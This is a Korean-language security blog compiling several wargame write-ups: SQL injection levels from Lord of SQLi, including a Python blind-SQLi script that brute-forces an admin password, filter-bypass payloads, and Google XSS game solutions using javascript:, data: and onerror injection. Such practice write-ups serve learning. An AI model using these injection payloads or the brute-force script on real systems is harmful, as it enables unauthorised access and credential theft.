문제 페이지를 확인하면 다음과 같다.

소스 코드를 보면 or, and, substr, = 을 필터링하고 있고, 문제 풀이 조건을 보니 정확한 pw값을 입력해야 문제가 풀리는 것 같다.

다음과 같이 or은 ||로, =은 like로 필터링을 우회할 수 있다.

and도 필터링 되어 있기 때문에 '|| id like 'admin' && length(pw) like 1# 와 같은 쿼리로 숫자를 바꿔가며 패스워드 길이를 알아낼 수 있다.

패스워드 길이를 알아내면 패스워드 길이만큼 반복하며 substr이 필터링 되어 있기 때문에 mid 함수를 이용하여 각 자리수에 해당하는 글자를 가져올 수 있다. mid 함수는 mid(문자, 시작위치, 가져올개수)의 형태로 사용하며 다음과 같다.

'abcd'에서 2번째 문자부터 1개의 문자만 가져왔기 때문에 b를 반환한다.

따라서 '|| id like 'admin' && ascii(mid(pw, 1, 1)) like 97# 과 같은 형식으로 쿼리를 전송하면 mid 함수로 pw의 첫번째 글자를 가져온 값의 아스키코드 값이 97인지 아닌지, 확인할 수 있다.

따라서 패스워드의 길이를 구하고, 각 자리에 해당하는 값이 아스키 코드로 변환했을때 0부터 z까지 인지 확인하고 맞는 값을 차례로 저장하는 코드를 작성하면 다음과 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
 
url = 'https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php'
header = {'PHPSESSID''ujpger2natc794e8voh11pdhun'}
 
pw_len = 0
while 1:
    pay = "' || id like 'admin' && length(pw) like {}#".format(pw_len)
    params = {'pw': pay}
    rep = requests.get(url,params=params, cookies=header)
    if "Hello admin" in rep.text:
        break
    pw_len += 1
 
print("[*] Password Length : ", pw_len)
 
pw = ''
for i in range(1, pw_len+1):
    for j in range(48,123):
        pay = "' || id like 'admin' && ascii(mid(pw,{},1)) like {}#".format(i,j)
        params = {'pw': pay}
        rep = requests.get(url, params=params, cookies=header)
        if "Hello admin" in rep.text:
            pw += chr(j)
            break
 
print("[*] Password : ", pw)
cs

'Security & Hacking > Wargame' 카테고리의 다른 글

[pwnable.kr] input  (0) 2021.06.15
[HackCTF] BOF_PIE  (0) 2021.06.01
[HackCTF] Offset  (0) 2021.05.13
[HackCTF] Simple_Overflow_ver_2  (0) 2021.05.10
[Hack CTF] x64 Simple_size_BOF  (0) 2021.04.25

문제를 보면 쿼리 맨 뒤 부분에 and 1=0 이라는 구문이 있어 쿼리가 거짓이 되고 있다. 이 부분을 주석처리를 통해 없애주면 문제를 해결할 수 있을 것 같다. /?pw=' or id='admin'# 이라는 쿼리를 보냈더니 #문자가 들어가지 않아서 #을 헥스값으로 바꾼 %23으로 넣었더니 정상적으로 주석처리가 되며 쿼리가 참이 되서 문제를 해결할 수 있었다.

payload : /?pw=' or id='admin'%23

'Security & Hacking > Wargame' 카테고리의 다른 글

[Hack CTF] x64 Simple_size_BOF  (0) 2021.04.25
[Hack CTF] x64 Buffer Overflow  (0) 2021.04.23
[LoS] vampire  (0) 2020.11.10
[LoS] troll  (0) 2020.11.06
[LoS] orge  (0) 2020.11.06

문제를 보면 str_replace() 함수로 admin 이라는 문자열을 필터링 하고 있다. str_replace() 함수는 해당 문자열 패턴이 있으면 치환하는 것으로 이 문제에서는 admin이라는 문자열을 없는 값으로 치환한다.  adadminmin으로 값을 주면 adadminmin 빨간색 부분이 치환되도, admin 이라는 값이 남아서 필터링을 우회할 수 있다.

payload : /?id=adadminmin

'Security & Hacking > Wargame' 카테고리의 다른 글

[Hack CTF] x64 Buffer Overflow  (0) 2021.04.23
[LoS] skeleton  (0) 2020.11.10
[LoS] troll  (0) 2020.11.06
[LoS] orge  (0) 2020.11.06
[LoS] darkelf  (0) 2020.11.03

문제를 보면 id 값이 admin 이여야 하고 preg_match() 함수를 통해 or과 and 가 필터링 되어 있다. 이 문자열들은 sql에서 ||(or) 연산자와 &&(연산자)도 같은 역활을 한다. 따라서 || 연산자를 활용하여 or 필터링을 우회할 수 있다.

/?pw='||id=admin 으로 쿼리를 주입하면 문제를 해결할 수 있다.

'Security & Hacking > Wargame' 카테고리의 다른 글

[LoS] troll  (0) 2020.11.06
[LoS] orge  (0) 2020.11.06
[LoS] goblin  (0) 2020.11.03
[LoS] orc  (0) 2019.11.29
[LoS] cobolt  (0) 2019.11.26

 

문제를 보면 id 값이 admin이면 문제가 풀리고, 현재 id 값은 guest 이다. preg_match()함수를 통해 싱글쿼터(')와 더블쿼터(")는 모두 필터링 되어 있다.

no 값에 1을 넣어 보면 hello guest가 출력되는 것을 보니 guest의 no 값은 1이다.

싱글 쿼터가 필터링 된 것은 hex값을 이용하여 우회할 수 있다. id 값이 admin이여야 하므로 admin의 hex 값은 0x61646d696e 이다. 

쿼리를 /?no=2 or id=0x61646d696e  로 전송하게 되면 앞에 no 값이 거짓이기 때문에 id값은 admin이 되어 문제를 해결할 수 있다.

 

'Security & Hacking > Wargame' 카테고리의 다른 글

[LoS] orge  (0) 2020.11.06
[LoS] darkelf  (0) 2020.11.03
[LoS] orc  (0) 2019.11.29
[LoS] cobolt  (0) 2019.11.26
[LoS] gremlin  (0) 2019.11.26

문제의 처음을 보면

다음과 같이 HTTP 응답 헤더를 볼 수 있냐고 물어보고 있다.

 

페이지에 들어가보면 you've already got key! :p 이라는 문자열 밖에 확인할 수 있는 것이 없다.

 

크롬 개발자 도구의 네트워크 탭에 가면 HTTP 응답 헤더를 확인할 수 있다.

헤더를 확인해 보면 플래그를 얻을 수 있다.

'Security & Hacking > Wargame' 카테고리의 다른 글

[Wargame.kr] QR CODE PUZZLE  (0) 2019.08.25
[Wargame.kr] flee button  (0) 2019.08.25
[XSS game] Level 6  (0) 2019.08.14
[XSS game] Level 5  (0) 2019.08.08
[ XSS game] Level 4  (0) 2019.08.07

마지막 문제도 마찬가지로 alert창을 띄워야 한다. 

위의 코드를 보면 url의 # 뒤의 gadget.js 파일을 불러온다.

# 뒤의 내용을 바꾸면 그 내용을 출력한다.

# 뒤에 공격 코드를 주입해야 하는 것 같다.

외부 데이터를 url로 불러올 수 있는 data URL Scheme 기법을 이용하여 javascript 코드를 주입할 수 있다.

'data:text/javascript,js코드'의 형태로 javascript 코드를 실행할 수 있으며

data:text/javascript,alert(1); 을 # 뒤에 주입하면 문제가 해결된다.

'Security & Hacking > Wargame' 카테고리의 다른 글

[Wargame.kr] flee button  (0) 2019.08.25
[Wargame.kr] already_got  (0) 2019.08.25
[XSS game] Level 5  (0) 2019.08.08
[ XSS game] Level 4  (0) 2019.08.07
[XSS game] Level 3  (0) 2019.08.06

5번 문제도 alert 창을 띄워야 한다.

Sign up을 누르면 email을 입력할 수 있는 창이 보인다.

또한 url을 보면 get 방식으로 next에 confirm을 전달 받고 있다.

signup.html 파일을 보면 Next를 누르면 next의 값으로 연결되도록 링크 되어 있다.

현재 상태에서는 confirm.html로 이동할 것이다.

Next를 누를 경우 confirm.html로 이동하는 것이 아닌 alert 창을 띄우도록 next 값을 조작하여야 한다.

URL을 통해 스크립트를 전달하려면 javascript:js코드 의 형태로 전달할 수 있다.

URL의 next 값에 javascript:alert(1);을 넣고 next 를 누르면 클리어 할 수  있다.

'Security & Hacking > Wargame' 카테고리의 다른 글

[Wargame.kr] already_got  (0) 2019.08.25
[XSS game] Level 6  (0) 2019.08.14
[ XSS game] Level 4  (0) 2019.08.07
[XSS game] Level 3  (0) 2019.08.06
[XSS game] Level 2  (0) 2019.08.06

level 4도 alert(경고)창을 띄워야 한다.

입력창에 값을 주면 그 수에 해당하는 초만큼 로딩을 하다가, 다음과 같은 경고창이 뜬 후 초기 화면으로 돌아간다.

소스 코드를 보면 timer.html 파일에 timer이라는 변수로 값을 받는 변수가 있다.

여기에 timer 부분에 공격 코드를 주입해야 하는 것 같다.

이 timer의 값은 입력창에서 입력받는 값이다.

3');alert('1 의 값을 주어 입력하면 1을 출력하는 alert 창을 띄울 수 있다.

'Security & Hacking > Wargame' 카테고리의 다른 글

[XSS game] Level 6  (0) 2019.08.14
[XSS game] Level 5  (0) 2019.08.08
[XSS game] Level 3  (0) 2019.08.06
[XSS game] Level 2  (0) 2019.08.06
[XSS game] Level 1  (0) 2019.08.06

이번에도 역시 alert(경고) 창을 띄워야 한다.

이미지 버튼을 누르면 이미지 번호에 따라서 url의 frame#뒤의 값이 변한다.

소스코드의 index.html을 보면

num이라는 변수에 이미지 번호를 대입한다.

저 변수의 값에 공격 코드를 주입하면 문제를 해결할 수 있다.

공격 코드 : 4.jpg' onerror='alert(1);'

4.jpg는 존재하지 않는 이미지이기 때문에 alert창을 띄운다.

 

'Security & Hacking > Wargame' 카테고리의 다른 글

[XSS game] Level 5  (0) 2019.08.08
[ XSS game] Level 4  (0) 2019.08.07
[XSS game] Level 2  (0) 2019.08.06
[XSS game] Level 1  (0) 2019.08.06
[webhacking.kr] Challenge 18  (0) 2019.06.21

+ Recent posts